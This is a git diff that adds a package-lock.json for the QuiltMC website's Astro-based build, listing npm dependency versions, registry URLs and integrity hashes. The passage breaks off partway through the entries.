diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 000000000..c2cd62392 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,8276 @@ +{ + "name": "quiltmc-website", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "quiltmc-website", + "version": "1.0.0", + "dependencies": { + "@tsndr/cloudflare-worker-jwt": "^2.2.1", + "semver-sort": "^1.0.0" + }, + "devDependencies": { + "@astrojs/markdown-component": "^1.0.2", + "@astrojs/mdx": "^0.12.2", + "@astrojs/rss": "^1.2.1", + "@astrojs/sitemap": "^1.0.1", + "@types/luxon": "^3.2.0", + "astro": "1.6.14", + "astro-compress": "^1.1.29", + "astro-i18next": "1.0.0-beta.12", + "astro-purgecss": "^1.3.2", + "bulma-toast": "^2.4.2", + "execa": "^6.1.0", + "glob": "^8.1.0", + "hast-util-from-html": "^1.0.1", + "i18next": "^21.10.0", + "i18next-fluent": "^2.0.0", + "i18next-fs-fluent-backend": "github:pluiedev/i18next-fs-fluent-backend", + "node-fetch": "^3.3.0", + "quilt-bulma": "0.0.23", + "rehype-autolink-headings": "^6.1.1", + "rollup": "^3.14.0", + "sass": "^1.58.0", + "typescript": "^4.9.5" + } + }, + "node_modules/@ampproject/remapping": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz", + "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@astrojs/compiler": { + "version": "0.30.1", + "resolved": "https://registry.npmjs.org/@astrojs/compiler/-/compiler-0.30.1.tgz", + "integrity": "sha512-sH3hvGA9JR5eE2bHG3sr5QjaJl5ER9EmmZzSwBHkMPoBj0XU7XzQjSGoyCbIML6sSaelJEPnfsr9NsypvKOecg==", + "dev": true + }, + "node_modules/@astrojs/language-server": { + "version": "0.28.3", + "resolved": "https://registry.npmjs.org/@astrojs/language-server/-/language-server-0.28.3.tgz", + "integrity": "sha512-fPovAX/X46eE2w03jNRMpQ7W9m2mAvNt4Ay65lD9wl1Z5vIQYxlg7Enp9qP225muTr4jSVB5QiLumFJmZMAaVA==", + "dev": true, + "dependencies": { + "@vscode/emmet-helper": "^2.8.4", + "events": "^3.3.0", + "prettier": "^2.7.1", + "prettier-plugin-astro": "^0.7.0", + "source-map": "^0.7.3", + "vscode-css-languageservice": "^6.0.1", + "vscode-html-languageservice": "^5.0.0", + "vscode-languageserver": "^8.0.1", + "vscode-languageserver-protocol": "^3.17.1", + "vscode-languageserver-textdocument": "^1.0.4", + "vscode-languageserver-types": "^3.17.1", + "vscode-uri": "^3.0.3" + }, + "bin": { + "astro-ls": "bin/nodeServer.js" + } + }, + "node_modules/@astrojs/markdown-component": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/@astrojs/markdown-component/-/markdown-component-1.0.5.tgz", + "integrity": "sha512-e7pzVfEZmjyZMmKGwLbfds36idAt9Yi8c0N0VQw2cVEgK8QdQecZLc07JvUSugoZxINtoVA0Afpm8EcIP52Ncw==", + "dev": true + }, + "node_modules/@astrojs/markdown-remark": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@astrojs/markdown-remark/-/markdown-remark-1.2.0.tgz", + "integrity": "sha512-Cb+uhSuukyfERknfJ8K4iJLeKJaiZWi1BTwPS4fzw0bc9kGKe5VeTRzd2E25+vaMnRTk0tN/y6QfYEMMN3Q97g==", + "dev": true, + "dependencies": { + "@astrojs/micromark-extension-mdx-jsx": "^1.0.3", + "@astrojs/prism": "^1.0.0", + "acorn": "^8.7.1", + "acorn-jsx": "^5.3.2", + "github-slugger": "^1.4.0", + "hast-util-to-html": "^8.0.3", + "import-meta-resolve": "^2.1.0", + "mdast-util-from-markdown": "^1.2.0", + "mdast-util-mdx-expression": "^1.2.1", + "mdast-util-mdx-jsx": "^1.2.0", + "micromark-extension-mdx-expression": "^1.0.3", + "micromark-extension-mdx-md": "^1.0.0", + "micromark-util-combine-extensions": "^1.0.0", + "rehype-raw": "^6.1.1", + "rehype-stringify": "^9.0.3", + "remark-gfm": "^3.0.1", + "remark-parse": "^10.0.1", + "remark-rehype": "^10.1.0", + "remark-smartypants": "^2.0.0", + "shiki": "^0.11.1", + "unified": "^10.1.2", + "unist-util-map": "^3.1.1", + "unist-util-visit": "^4.1.0", + "vfile": "^5.3.2" + } + }, + "node_modules/@astrojs/mdx": { + "version": "0.12.2", + "resolved": "https://registry.npmjs.org/@astrojs/mdx/-/mdx-0.12.2.tgz", + "integrity": "sha512-rv4f2h0zdQVu+dA8mPfCs3zp0j8CECJ11a9DijxcIcSZusou6CZ1N4KWMLlQYVKl8bOA5h0VzL/IvToh9A+dnA==", + "dev": true, + "dependencies": { + "@astrojs/prism": "^1.0.2", + "@mdx-js/mdx": "^2.1.2", + "@mdx-js/rollup": "^2.1.1", + "acorn": "^8.8.0", + "es-module-lexer": "^0.10.5", + "estree-util-visit": "^1.2.0", + "github-slugger": "^1.4.0", + "gray-matter": "^4.0.3", + "kleur": "^4.1.4", + "rehype-raw": "^6.1.1", + "remark-frontmatter": "^4.0.1", + "remark-gfm": "^3.0.1", + "remark-smartypants": "^2.0.0", + "shiki": "^0.11.1", + "unist-util-visit": "^4.1.0", + "vfile": "^5.3.2" + }, + "engines": { + "node": "^14.18.0 || >=16.12.0" + } + }, + "node_modules/@astrojs/micromark-extension-mdx-jsx": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/@astrojs/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-1.0.3.tgz", + "integrity": "sha512-O15+i2DGG0qb1R/1SYbFXgOKDGbYdV8iJMtuboVb1S9YFQfMOJxaCMco0bhXQI7PmZcQ4pZWIjT5oZ64dXUtRA==", + "dev": true, + "dependencies": { + "@types/acorn": "^4.0.0", + "estree-util-is-identifier-name": "^2.0.0", + "micromark-factory-mdx-expression": "^1.0.0", + "micromark-factory-space": "^1.0.0", + "micromark-util-character": "^1.0.0", + "micromark-util-symbol": "^1.0.0", + "micromark-util-types": "^1.0.0", + "uvu": "^0.5.0", + "vfile-message": "^3.0.0" + } + }, + "node_modules/@astrojs/prism": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@astrojs/prism/-/prism-1.0.2.tgz", + "integrity": "sha512-o3cUVoAuALDqdN5puNlsN2eO4Yi1kDh68YO8V7o6U4Ts+J/mMayzlJ7JsgYAmob0xrf/XnADVgu8khfMv/w3uA==", + "dev": true, + "dependencies": { + "prismjs": "^1.28.0" + }, + "engines": { + "node": "^14.18.0 || >=16.12.0" + } + }, + "node_modules/@astrojs/rss": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@astrojs/rss/-/rss-1.2.1.tgz", + "integrity": "sha512-ZgCunS6ECuPpxBznBYE+ONf23rcp+OWZ5IyDKFAcVZCWEq8Bh0rVYa9p8u6cU9WOTK56JRQTuwcVZYndmExNtw==", + "dev": true, + "dependencies": { + "fast-xml-parser": "^4.0.8" + } + }, + "node_modules/@astrojs/sitemap": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/@astrojs/sitemap/-/sitemap-1.3.3.tgz", + "integrity": "sha512-TPyyb/hKxc+bHPpSoNPhsuI0QOTVzq2tueg2r0CTH1HqigYIAA2LQkCBlQzz85R+LrOZpv4kXYmhxdDcSkJCmA==", + "dev": true, + "dependencies": { + "sitemap": "^7.1.1", + "zod": "^3.17.3" + } + }, + "node_modules/@astrojs/telemetry": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@astrojs/telemetry/-/telemetry-1.0.1.tgz", + "integrity": "sha512-SJVfZHp00f8VZsT1fsx1+6acJGUNt/84xZytV5znPzzNE8RXjlE0rv03llgTsEeUHYZc6uJah91jNojS7RldFg==", + "dev": true, + "dependencies": { + "ci-info": "^3.3.1", + "debug": "^4.3.4", + "dlv": "^1.1.3", + "dset": "^3.1.2", + "is-docker": "^3.0.0", + "is-wsl": "^2.2.0", + "node-fetch": "^3.2.5", + "which-pm-runs": "^1.1.0" + }, + "engines": { + "node": "^14.18.0 || >=16.12.0" + } + }, + "node_modules/@astrojs/webapi": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@astrojs/webapi/-/webapi-1.1.1.tgz", + "integrity": "sha512-yeUvP27PoiBK/WCxyQzC4HLYZo4Hg6dzRd/dTsL50WGlAQVCwWcqzVJrIZKvzNDNaW/fIXutZTmdj6nec0PIGg==", + "dev": true, + "dependencies": { + "global-agent": "^3.0.0", + "node-fetch": "^3.2.5" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.5.tgz", + "integrity": "sha512-Xmwn266vad+6DAqEB2A6V/CcZVp62BbwVmcOJc2RPuwih1kw02TjQvWVWlcKGbBPd+8/0V5DEkOcizRGYsspYQ==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.22.6.tgz", + "integrity": "sha512-29tfsWTq2Ftu7MXmimyC0C5FDZv5DYxOZkh3XD3+QW4V/BYuv/LyEsjj3c0hqedEaDt6DBfDvexMKU8YevdqFg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.22.8", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.22.8.tgz", + "integrity": "sha512-75+KxFB4CZqYRXjx4NlR4J7yGvKumBuZTmV4NV6v09dVXXkuYVYLT68N6HCzLvfJ+fWCxQsntNzKwwIXL4bHnw==", + "dev": true, + "dependencies": { + "@ampproject/remapping": "^2.2.0", + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.7", + "@babel/helper-compilation-targets": "^7.22.6", + "@babel/helper-module-transforms": "^7.22.5", + "@babel/helpers": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.8", + "@babel/types": "^7.22.5", + "@nicolo-ribaudo/semver-v6": "^6.3.3", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/generator": { + "version": "7.22.7", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.22.7.tgz", + "integrity": "sha512-p+jPjMG+SI8yvIaxGgeW24u7q9+5+TGpZh8/CuB7RhBKd7RCy8FayNEFNNKrNK/eUcY/4ExQqLmyrvBXKsIcwQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5", + "@jridgewell/gen-mapping": "^0.3.2", + "@jridgewell/trace-mapping": "^0.3.17", + "jsesc": "^2.5.1" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.22.5.tgz", + "integrity": "sha512-LvBTxu8bQSQkcyKOU+a1btnNFQ1dMAd0R6PyW3arXes06F6QLWLIrd681bxRPIXlrMGR3XYnW9JyML7dP3qgxg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.22.6.tgz", + "integrity": "sha512-534sYEqWD9VfUm3IPn2SLcH4Q3P86XL+QvqdC7ZsFrzyyPF3T4XGiVghF6PTYNdWg6pXuoqXxNQAhbYeEInTzA==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.22.6", + "@babel/helper-validator-option": "^7.22.5", + "@nicolo-ribaudo/semver-v6": "^6.3.3", + "browserslist": "^4.21.9", + "lru-cache": "^5.1.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-environment-visitor": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz", + "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-function-name": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz", + "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-hoist-variables": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz", + "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-imports": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz", + "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-module-transforms": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.5.tgz", + "integrity": "sha512-+hGKDt/Ze8GFExiVHno/2dvG5IdstpzCq0y4Qc9OJ25D4q3pKfiIP/4Vp3/JvhDkLKsDK2api3q3fpIgiIF5bw==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-simple-access": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-plugin-utils": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz", + "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz", + "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz", + "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz", + "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz", + "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz", + "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz", + "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==", + "dev": true, + "dependencies": { + "@babel/template": "^7.22.5", + "@babel/traverse": "^7.22.6", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz", + "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.22.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.22.7", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz", + "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.22.5.tgz", + "integrity": "sha512-gvyP4hZrgrs/wWMaocvxZ44Hw0b3W8Pe+cMxc8V1ULQ07oh8VNbIRaoD1LRZVTvD+0nieDKjfgKg89sD7rrKrg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-react-jsx": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.22.5.tgz", + "integrity": "sha512-rog5gZaVbUip5iWDMTYbVM15XQq+RkUKhET/IHR6oizR+JEoN6CAfTTuHcK4vwUyzca30qqHqEpzBOnaRMWYMA==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.22.5", + "@babel/helper-module-imports": "^7.22.5", + "@babel/helper-plugin-utils": "^7.22.5", + "@babel/plugin-syntax-jsx": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.22.6", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.22.6.tgz", + "integrity": "sha512-wDb5pWm4WDdF6LFUde3Jl8WzPA+3ZbxYqkC6xAXuD3irdEHN1k0NfTRrJD8ZD378SJ61miMLCqIOXYhd8x+AJQ==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.13.11" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.5.tgz", + "integrity": "sha512-X7yV7eiwAxdj9k94NEylvbVHLiVG1nvzCV2EAowhxLTwODV1jl9UzZ48leOC0sH7OnuHrIkllaBgneUykIcZaw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.5", + "@babel/parser": "^7.22.5", + "@babel/types": "^7.22.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.22.8", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.22.8.tgz", + "integrity": "sha512-y6LPR+wpM2I3qJrsheCTwhIinzkETbplIgPBbwvqPKc+uljeA5gP+3nP8irdYt1mjQaDnlIcG+dw8OjAco4GXw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.22.5", + "@babel/generator": "^7.22.7", + "@babel/helper-environment-visitor": "^7.22.5", + "@babel/helper-function-name": "^7.22.5", + "@babel/helper-hoist-variables": "^7.22.5", + "@babel/helper-split-export-declaration": "^7.22.6", + "@babel/parser": "^7.22.7", + "@babel/types": "^7.22.5", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.22.5", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.22.5.tgz", + "integrity": "sha512-zo3MIHGOkPOfoRXitsgHLjEXmlDaD/5KU1Uzuc9GNiZPhSqVxVRtxuPaSBZDsYZ9qV88AjtMtWW7ww98loJ9KA==", + "dev": true, + "dependencies": { + "@babel/helper-string-parser": "^7.22.5", + "@babel/helper-validator-identifier": "^7.22.5", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@emmetio/abbreviation": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/@emmetio/abbreviation/-/abbreviation-2.3.3.tgz", + "integrity": "sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA==", + "dev": true, + "dependencies": { + "@emmetio/scanner": "^1.0.4" + } + }, + "node_modules/@emmetio/css-abbreviation": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/@emmetio/css-abbreviation/-/css-abbreviation-2.1.8.tgz", + "integrity": "sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw==", + "dev": true, + "dependencies": { + "@emmetio/scanner": "^1.0.4" + } + }, + "node_modules/@emmetio/scanner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/@emmetio/scanner/-/scanner-1.0.4.tgz", + "integrity": "sha512-IqRuJtQff7YHHBk4G8YZ45uB9BaAGcwQeVzgj/zj8/UdOhtQpEIupUhSk8dys6spFIWVZVeK20CzGEnqR5SbqA==", + "dev": true + }, + "node_modules/@esbuild/android-arm": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.15.18.tgz", + "integrity": "sha512-5GT+kcs2WVGjVs7+boataCkO5Fg0y4kCjzkB5bAip7H4jfnOS3dA6KPiww9W1OEKTKeAcUVhdZGvgI65OXmUnw==", + "cpu": [ + "arm" + ], + "dev": true, + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.15.18", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.15.18.tgz", + "integrity": "sha512-L4jVKS82XVhw2nvzLg/19ClLWg0y27ulRwuP7lcyL6AbUWB5aPglXY3M21mauDQMDfRLs8cQmeT03r/+X3cZYQ==", + "cpu": [ + "loong64" + ], + "dev": true, + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@fluent/bundle": { + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/@fluent/bundle/-/bundle-0.13.0.tgz", + "integrity": "sha512-Q3XQSoeCvptsWXdu4H3pJZLp45FX8JnhQ7A9OV9w6dU+czKJnuKJkC5xLv19N0OG/NRnVFKqhcQBrx+IWAk09g==", + "dev": true, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/@fluent/syntax": { + "version": "0.19.0", + "resolved": "https://registry.npmjs.org/@fluent/syntax/-/syntax-0.19.0.tgz", + "integrity": "sha512-5D2qVpZrgpjtqU4eNOcWGp1gnUCgjfM+vKGE2y03kKN6z5EBhtx0qdRFbg8QuNNj8wXNoX93KJoYb+NqoxswmQ==", + "dev": true, + "engines": { + "node": ">=14.0.0", + "npm": ">=7.0.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.18", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz", + "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "node_modules/@jridgewell/trace-mapping/node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true + }, + "node_modules/@ljharb/has-package-exports-patterns": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/@ljharb/has-package-exports-patterns/-/has-package-exports-patterns-0.0.2.tgz", + "integrity": "sha512-4/RWEeXDO6bocPONheFe6gX/oQdP/bEpv0oL4HqjPP5DCenBSt0mHgahppY49N0CpsaqffdwPq+TlX9CYOq2Dw==", + "dev": true + }, + "node_modules/@mdx-js/mdx": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-2.3.0.tgz", + "integrity": "sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==", + "dev": true, + "dependencies": { + "@types/estree-jsx": "^1.0.0", + "@types/mdx": "^2.0.0", + "estree-util-build-jsx": "^2.0.0", + "estree-util-is-identifier-name": "^2.0.0", + 